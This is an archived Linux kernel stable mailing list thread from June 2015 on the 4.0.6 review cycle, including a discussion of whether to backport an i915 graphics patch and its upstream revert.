Quoted 6 lines · Sudip Mukherjee
Quoted 5 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 5 lines
Quoted 3 lines
Quoted 2 lines
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Compiled and booted on
x86_32.And I guess it's working? :)
yes, it is. :)
Anything else needs to be tested apart from booting and checking dmesg?
regards
sudip
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerQuoted 8 lines · Sudip Mukherjee
Quoted 7 lines · Greg Kroah-Hartman
Quoted 6 lines · Sudip Mukherjee
Quoted 5 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 7 lines
Quoted 5 lines
Quoted 3 lines
Quoted 2 lines
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Compiled and booted on
x86_32.And I guess it's working? :)
yes, it is. :)
Anything else needs to be tested apart from booting and checking dmesg?
That's up to you, thanks for testing.
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Quoted 2 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series
Since a few -stable releases I'm missing this one (it's already in mainline):
https://www.mail-archive.com/linux-crypto%40vger.kernel.org/msg14118.html
Thanks,
Heinz
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerQuoted 9 lines · Heinz Diehl
Quoted 2 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series
Since a few -stable releases I'm missing this one (it's already in mainline):
https://www.mail-archive.com/linux-crypto%40vger.kernel.org/msg14118.html
I need some kind of hint as to _what_ patch that is in mainline. What's the git id of it in Linus's tree?
thanks,
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Quoted 2 lines · Greg Kroah-Hartman
I need some kind of hint as to _what_ patch that is in mainline. What's the git id of it in Linus's tree?
Sorry! It's commit 00425bb181c204c8f250fec122e2817a930e0286.
Signature · 3 lines
OpenPGP Fingerprint: 531E 8E75 4395 ED38 CEC2 FD75 A1EB 6944 60F4 A92C -- To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerQuoted 8 lines · Heinz Diehl
Quoted 2 lines · Greg Kroah-Hartman
I need some kind of hint as to _what_ patch that is in mainline. What's the git id of it in Linus's tree?
Sorry! It's commit
00425bb181c204c8f250fec122e2817a930e0286.
That says it fixes a bug that showed up in 4.1-rc1, so why would it be relevant for 4.0-stable?
confused,
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
A message that is not in the archive (sent off-list or not yet received): [email protected]
Re: [PATCH 4.0 077/105] drm/i915: Dont skip request retirement if the active list is empty
Quoted 1 line · Greg Kroah-Hartman
4.0-stable review patch. If anyone has any objections, please let me know.
The commit to be backported is already reverted in upstream, and I just got an email from you backporting the revert as well... would be best to *not* backport either of these:
commit 0aedb1626566efd72b369c01992ee7413c82a0c5
Author: Ville Syrjälä <[email protected]> Date: Thu May 28 18:32:36 2015 +0300
drm/i915: Don't skip request retirement if the active list is empty
commit 245ec9d85696c3e539b23e210f248698b478379c
Author: Jani Nikula <[email protected]> Date: Mon Jun 15 12:59:37 2015 +0300
Revert "drm/i915: Don't skip request retirement if the active list is empty"
I only marked the revert cc: stable because the original was too.
BR,
Jani.
Quoted 41 lines
------------------
From: =?UTF-8?q?Ville=20Syrj=C3=A4l=C3=A4?= <[email protected]>
commit
0aedb1626566efd72b369c01992ee7413c82a0c5upstream.Apparently we can have requests even if though the active list is empty, so do the request retirement regardless of whether there's anything on the active list.
The way it happened here is that during suspend
intel_ring_idle()notices the olr hanging around and then proceeds to get rid of it by adding a request. However since there was nothing on the active listsi915_gem_retire_requests()didn't clean those up, and so the idle work never runs, and we leave the GPU "busy" during suspend resulting in a WARN later.Signed-off-by Ville Syrjälä <[email protected]>Reviewed-by Chris Wilson <[email protected]>Signed-off-by Jani Nikula <[email protected]>Signed-off-by Greg Kroah-Hartman <[email protected]>--- drivers/gpu/drm/i915/i915_gem.c | 3 --- 1 file changed, 3 deletions(-)drivers/gpu/drm/i915/i915_gem.c +0
-3@@ -2732,9 +2732,6 @@ void i915_gem_reset(struct drm_device *dvoid i915_gem_retire_requests_ring (struct intel_engine_cs *ring) { -if (list_empty (&ring->request_list)) -return ; -WARN_ON (i915_verify_lists (ring->dev));/* Retire requests first as we use it above for the early return.
Signature · 1 line
Jani Nikula, Intel Open Source Technology Center
Greg Kroah-Hartman
maintainerRe: [PATCH 4.0 077/105] drm/i915: Dont skip request retirement if the active list is empty
Quoted 13 lines · Jani Nikula
Quoted 1 line · Greg Kroah-Hartman
4.0-stable review patch. If anyone has any objections, please let me know.
The commit to be backported is already reverted in upstream, and I just got an email from you backporting the revert as well... would be best to *not* backport either of these:
commit
0aedb1626566efd72b369c01992ee7413c82a0c5Author: Ville Syrj�l� <[email protected]> Date: Thu May 28 18:32:36 2015 +0300drm/i915: Don't skip request retirement if the active list is empty
Quoted 7 lines
commit
245ec9d85696c3e539b23e210f248698b478379cAuthor: Jani Nikula <[email protected]> Date: Mon Jun 15 12:59:37 2015 +0300Revert "drm/i915: Don't skip request retirement if the active list is empty"
I only marked the revert cc: stable because the original was too.
This patch is now in 4.0 so what do I suggest I do? Just take these as well?
confused,
greg k-h
Re: [PATCH 4.0 077/105] drm/i915: Dont skip request retirement if the active list is empty
Quoted 18 lines · Greg Kroah-Hartman
Quoted 17 lines · Jani Nikula
Quoted 1 line · Greg Kroah-Hartman
4.0-stable review patch. If anyone has any objections, please let me know.
The commit to be backported is already reverted in upstream, and I just got an email from you backporting the revert as well... would be best to *not* backport either of these:
commit
0aedb1626566efd72b369c01992ee7413c82a0c5Author: Ville Syrjälä <[email protected]> Date: Thu May 28 18:32:36 2015 +0300drm/i915: Don't skip request retirement if the active list is empty
commit
245ec9d85696c3e539b23e210f248698b478379cAuthor: Jani Nikula <[email protected]> Date: Mon Jun 15 12:59:37 2015 +0300
Quoted 8 lines
Quoted 3 lines
Revert "drm/i915: Don't skip request retirement if the active list is empty"
I only marked the revert cc: stable because the original was too.
This patch is now in 4.0 so what do I suggest I do? Just take these as well?
confused,
Sorry for confusing you. Please take neither or take both.
BR,
Jani.
Signature · 1 line
Jani Nikula, Intel Open Source Technology Center
Greg Kroah-Hartman
maintainerRe: [PATCH 4.0 077/105] drm/i915: Dont skip request retirement if the active list is empty
Quoted 21 lines · Jani Nikula
Quoted 20 lines · Greg Kroah-Hartman
Quoted 19 lines · Jani Nikula
Quoted 1 line · Greg Kroah-Hartman
4.0-stable review patch. If anyone has any objections, please let me know.
The commit to be backported is already reverted in upstream, and I just got an email from you backporting the revert as well... would be best to *not* backport either of these:
commit
0aedb1626566efd72b369c01992ee7413c82a0c5Author: Ville Syrj�l� <[email protected]> Date: Thu May 28 18:32:36 2015 +0300drm/i915: Don't skip request retirement if the active list is empty
commit
245ec9d85696c3e539b23e210f248698b478379cAuthor: Jani Nikula <[email protected]> Date: Mon Jun 15 12:59:37 2015 +0300Revert "drm/i915: Don't skip request retirement if the active list is empty"
Quoted 8 lines
Quoted 6 lines
Quoted 1 line
I only marked the revert cc: stable because the original was too.
This patch is now in 4.0 so what do I suggest I do? Just take these as well?
confused,
Sorry for confusing you. Please take neither or take both.
So, based on what I have queued up, and what is already released in 4.0-stable, we should be fine, right?
Re: [PATCH 4.0 077/105] drm/i915: Dont skip request retirement if the active list is empty
Quoted 27 lines · Greg Kroah-Hartman
Quoted 26 lines · Jani Nikula
Quoted 25 lines · Greg Kroah-Hartman
Quoted 13 lines · Jani Nikula
Quoted 1 line · Greg Kroah-Hartman
4.0-stable review patch. If anyone has any objections, please let me know.
The commit to be backported is already reverted in upstream, and I just got an email from you backporting the revert as well... would be best to *not* backport either of these:
commit
0aedb1626566efd72b369c01992ee7413c82a0c5Author: Ville Syrjälä <[email protected]> Date: Thu May 28 18:32:36 2015 +0300drm/i915: Don't skip request retirement if the active list is empty
Quoted 7 lines
commit
245ec9d85696c3e539b23e210f248698b478379cAuthor: Jani Nikula <[email protected]> Date: Mon Jun 15 12:59:37 2015 +0300Revert "drm/i915: Don't skip request retirement if the active list is empty"
I only marked the revert cc: stable because the original was too.
This patch is now in 4.0 so what do I suggest I do? Just take these as well?
Quoted 6 lines
Quoted 3 lines
Quoted 1 line
confused,
Sorry for confusing you. Please take neither or take both.
So, based on what I have queued up, and what is already released in 4.0-stable, we should be fine, right?
Yes. Thanks.
Jani.
Signature · 1 line
Jani Nikula, Intel Open Source Technology Center